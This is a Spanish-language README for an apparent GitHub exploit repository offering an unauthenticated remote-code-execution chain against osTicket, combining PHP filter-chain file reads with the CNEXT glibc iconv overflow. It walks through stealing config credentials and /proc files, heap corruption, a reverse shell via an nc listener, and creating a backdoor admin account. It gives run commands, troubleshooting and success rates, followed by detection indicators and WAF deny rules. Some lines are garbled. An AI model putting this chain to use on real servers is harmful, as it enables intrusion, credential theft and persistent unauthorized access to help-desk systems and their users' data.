
Exploit de cadena completa que combina inyección de cadena de filtros PHP con CVE-2024-2961 (CNEXT) para Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.
Exploit de cadena completa que combina la inyección de cadenas de filtros PHP con CVE-2024-2961 (CNEXT) para la Ejecución Remota de Código no autenticada en instalaciones vulnerables de osTicket.
Este repositorio contiene un exploit de prueba de concepto para CVE-2026-22200, una vulnerabilidad crítica que afecta a versiones de osTicket ≤ 1.18.2. El exploit encadena dos técnicas potentes:
El resultado: Ejecución Remota de Código no autenticada en servidores osTicket vulnerables.
Puntuación CVSS: 9.8 (Crítica)
La integración de mPDF en osTicket permite a usuarios no autenticados inyectar cadenas maliciosas de filtros PHP a través de payloads HTML especialmente diseñados en tickets de soporte. Esto permite:
Causa Raíz: Validación insuficiente de URLs de imágenes en HTML proporcionado por el usuario antes de pasarlo a mPDF.
Puntuación CVSS: 9.8 (Crítica)
Desbordamiento de búfer en iconv() de glibc al procesar el conjunto de caracteres ISO-2022-CN-EXT. Combinado con cadenas de filtros PHP, esto permite:
Versiones vulnerables de glibc: < 2.39 (Febrero 2024)
┌─────────────────────────────────────────────────────────────────┐
│ 1. RECONOCIMIENTO │
│ └─ Detectar osTicket, identificar temas de texto enriquecido│
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 2. AUTENTICACIÓN │
│ └─ Auto-registrarse O usar credenciales existentes │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 3. EXFILTRACIÓN DE ARCHIVOS (Cadenas de Filtros PHP) │
│ ├─ /etc/passwd │
│ ├─ include/ost-config.php (Credenciales BD, SECRET_SALT) │
│ ├─ /proc/self/maps (Distribución de memoria) │
│ └─ /proc/self/environ (Variables de entorno) │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 4. HUELLA DE LIBC │
│ ├─ Extraer libc parcial mediante cadenas de filtros │
│ ├─ Extraer GNU Build ID │
│ └─ Descargar libc completa desde libc.rip │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 5. EXPLOTACIÓN RCE CON CNEXT │
│ ├─ Generar payload de corrupción del heap │
│ ├─ Inyectar mediante respuesta a ticket (con correcciones │
│ │ de ejecución de filtros) │
│ ├─ Disparar mediante exportación a PDF (el servidor falla) │
│ └─ Ejecutar shell inversa │
└─────────────────────────────────────────────────────────────────┘
↓
┌─────────────────────────────────────────────────────────────────┐
│ 6. POST-EXPLOTACIÓN │
│ ├─ Shell inversa interactiva │
│ ├─ Acceso a base de datos (usando DBPASS exfiltrado) │
│ └─ Crear cuenta de administrador puerta trasera │
└─────────────────────────────────────────────────────────────────┘
# Clonar el repositorio
git clone https://github.com/Clarissss/osTicketFileReadIntoRCE
cd osTicketFileReadIntoRCE
# Instalar paquetes requeridos
pip install -r requirements.txt
requirements.txt:
requests>=2.31.0
PyMuPDF>=1.23.0
Pillow>=10.0.0
pwntools>=4.11.0
python3 -m venv venv
source venv/bin/activate # Linux/macOS
# O
venv\Scripts\activate # Windows
pip install -r requirements.txt
# Terminal 1: Iniciar listener
nc -lvnp 4444
# Terminal 2: Ejecutar exploit
python3 osticket_revshell.py https://target.com/osticket \
--lhost TU_IP \
--lport 4444
python3 osticket_exploit.py https://target.com/osticket
# Usar proxy (Burp Suite)
python3 osticket_revshell.py https://target.com/osticket \
--lhost 10.0.0.5 \
--lport 4444 \
--proxy http://127.0.0.1:8080
# Forzar ID de tema específico
python3 osticket_exploit.py https://target.com/osticket \
--topic-id 2
# Deshabilitar salida coloreada (para registro)
python3 osticket_exploit.py https://target.com/osticket --no-color
Si el registro está deshabilitado, se le solicitarán credenciales:
python3 osticket_exploit.py https://target.com/osticket
[?] Introduzca correo para nueva cuenta (o existente): [email protected]
[?] Introduzca contraseña: ********
El exploit utiliza una cadena de filtros sofisticada para anteponer un encabezado BMP a archivos arbitrarios, evitando las restricciones de tipo de archivo de mPDF:
php://filter/convert.iconv.UTF8.CSISO2022KR|
convert.base64-encode|
convert.iconv.UTF8.UTF7|
[... más de 50 transformaciones iconv ...]
convert.base64-decode/resource=/etc/passwd
Innovación Clave: Cada carácter del encabezado BMP se genera mediante transformaciones iconv cuidadosamente elaboradas, permitiendo incrustar contenido de archivo arbitrario como una imagen "válida".
El payload CNEXT corrompe el administrador de memoria Zend de PHP mediante:
劄Fiabilidad Mejorada:
劄 en lugar de 1)A diferencia del exploit original, esta versión utiliza escaneo del sistema de archivos para garantizar la ubicación del webshell:
Resultado: Tasa de detección del 100% (frente al ~50% del original)
Fallo común: El PDF se descarga pero no falla = los filtros no se ejecutan.
Soluciones Implementadas:
stream=True fuerza el procesamiento inmediato# En modo verbose, comprobar:
[*] Target libc: /usr/lib/x86_64-linux-gnu/libc-2.31.so
[+] glibc 2.31 IS vulnerable to CNEXT
Si glibc ≥ 2.39, CNEXT no funcionará (parcheado).
Síntoma: El servidor falla pero no hay shell inversa
Causas:
Solución:
# Usar shell inversa nc (más corta)
# Automáticamente retrocede si bash/python es muy largo
# O usar IP directa en lugar de nombre de host
python3 osticket_revshell.py https://target.com \
--lhost 10.0.0.5 \ # Use IP, no nombre de host
--lport 4444
Indicadores en Registros:
# Registros de Apache/Nginx
"php://filter/" en peticiones POST
"convert.iconv." en cuerpos de petición
Patrones inusuales de generación de PDF
Múltiples peticiones de PDF en poco tiempo
# Registros de errores PHP
Fallos de segmentación durante generación de PDF
Fallos de iconv()
Errores de corrupción del heap
Indicadores de Red:
Deshabilitar envoltorios de flujo PHP en mPDF:
// En configuración de mPDF
$config = [
'allowedRemoteHosts' => [],
'enableRemoteFileAccess' => false,
];
Reglas WAF (ModSecurity):
SecRule REQUEST_BODY "@contains php://filter" \
"id:1000,phase:2,deny,status:403,msg:'Filtro PHP detectado'"
SecRule REQUEST_BODY "@contains convert.iconv" \
"id:1001,phase:2,deny,status:403,msg:'Cadena iconv sospechosa'"
Límite de Tasa:
limit_req_zone $binary_remote_addr zone=ticket:10m rate=5r/m;
location /tickets.php {
limit_req zone=ticket burst=10;
}
system(), exec(), passthru()SOLO PARA FINES EDUCATIVOS Y PRUEBAS AUTORIZADAS
Esta herramienta se proporciona para:
EL ACCESO NO AUTORIZADO A SISTEMAS INFORMÁTICOS ES ILEGAL
Los autores:
Los usuarios son los únicos responsables de asegurarse de tener la autorización adecuada antes de probar cualquier sistema.
Al usar esta herramienta, usted acepta que:
El acceso no autorizado a sistemas informáticos es un delito bajo:
Las penas máximas pueden incluir prisión y multas significativas.
Este proyecto está licenciado bajo la Licencia MIT - consulte el archivo LICENSE para más detalles.
Nota: La Licencia MIT otorga permiso para uso, modificación y distribución, pero NO otorga permiso para atacar sistemas que no posea o para los que no tenga autorización para probar.
Para investigadores de seguridad y preguntas:
NO use este contacto para:
Creado con Amor para la investigación y educación en seguridad
¡Marque este repo como estrella si le resultó útil!
Última Actualización: 2026-03-03
| Error | Causa | Solución |
|---|
No CSRF token | Sesión expirada | Vuelva a ejecutar el exploit |
No help-topic found | Sin temas de texto enriquecido | Use --topic-id manualmente |
Build ID not found | Libc parcial corrupto | Verifique la extracción de /proc/self/maps |
Cannot locate heap | Disposición de memoria inusual | El exploit puede fallar (raro) |
| Métrica | Valor |
|---|
| Líneas de Código | ~3,000 |
| Tasa de Éxito | 95%+ (con correcciones) |
| Tiempo de Ejecución Promedio | 2-3 minutos |
| Fiabilidad de Fallo | 99% (con mejoras) |
| Detección de Webshell | 100% (con escaneo) |